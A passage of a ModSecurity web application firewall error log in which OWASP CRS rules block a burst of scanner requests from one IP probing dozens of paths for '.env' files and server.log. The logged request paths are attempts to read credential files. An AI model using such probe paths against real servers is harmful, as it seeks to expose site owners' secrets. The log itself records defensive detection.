[tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxwAAAAQ&quot;]
[Wed Feb 25 06:05:30.227063 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxwAAAAQ&quot;]
[Wed Feb 25 06:05:30.227214 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxwAAAAQ&quot;]
[Wed Feb 25 06:05:30.250104 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pub/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIAAAAAA&quot;]
[Wed Feb 25 06:05:30.250359 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIAAAAAA&quot;]
[Wed Feb 25 06:05:30.250510 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIAAAAAA&quot;]
[Wed Feb 25 06:05:30.273489 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXyAAAAAQ&quot;]
[Wed Feb 25 06:05:30.273729 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXyAAAAAQ&quot;]
[Wed Feb 25 06:05:30.273882 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXyAAAAAQ&quot;]
[Wed Feb 25 06:05:30.411496 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXyQAAAAQ&quot;]
[Wed Feb 25 06:05:30.411781 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXyQAAAAQ&quot;]
[Wed Feb 25 06:05:30.411969 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXyQAAAAQ&quot;]
[Wed Feb 25 06:05:30.429801 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIgAAAAA&quot;]
[Wed Feb 25 06:05:30.430048 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIgAAAAA&quot;]
[Wed Feb 25 06:05:30.430201 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIgAAAAA&quot;]
[Wed Feb 25 06:05:30.472522 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIwAAAAA&quot;]
[Wed Feb 25 06:05:30.472774 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIwAAAAA&quot;]
[Wed Feb 25 06:05:30.472914 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibIwAAAAA&quot;]
[Wed Feb 25 06:05:30.588000 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/src/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXywAAAAQ&quot;]
[Wed Feb 25 06:05:30.588244 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXywAAAAQ&quot;]
[Wed Feb 25 06:05:30.588404 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXywAAAAQ&quot;]
[Wed Feb 25 06:05:30.639105 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server_with_db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXzAAAAAQ&quot;]
[Wed Feb 25 06:05:30.639387 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXzAAAAAQ&quot;]
[Wed Feb 25 06:05:30.639549 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXzAAAAAQ&quot;]
[Wed Feb 25 06:05:30.694831 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /question2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibJgAAAAA&quot;]
[Wed Feb 25 06:05:30.695094 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibJgAAAAA&quot;]
[Wed Feb 25 06:05:30.695279 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibJgAAAAA&quot;]
[Wed Feb 25 06:05:30.723697 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /qv-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibJwAAAAA&quot;]
[Wed Feb 25 06:05:30.723938 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibJwAAAAA&quot;]
[Wed Feb 25 06:05:30.724092 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibJwAAAAA&quot;]
[Wed Feb 25 06:05:30.740838 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXzwAAAAQ&quot;]
[Wed Feb 25 06:05:30.741075 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXzwAAAAQ&quot;]
[Wed Feb 25 06:05:30.741233 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXzwAAAAQ&quot;]
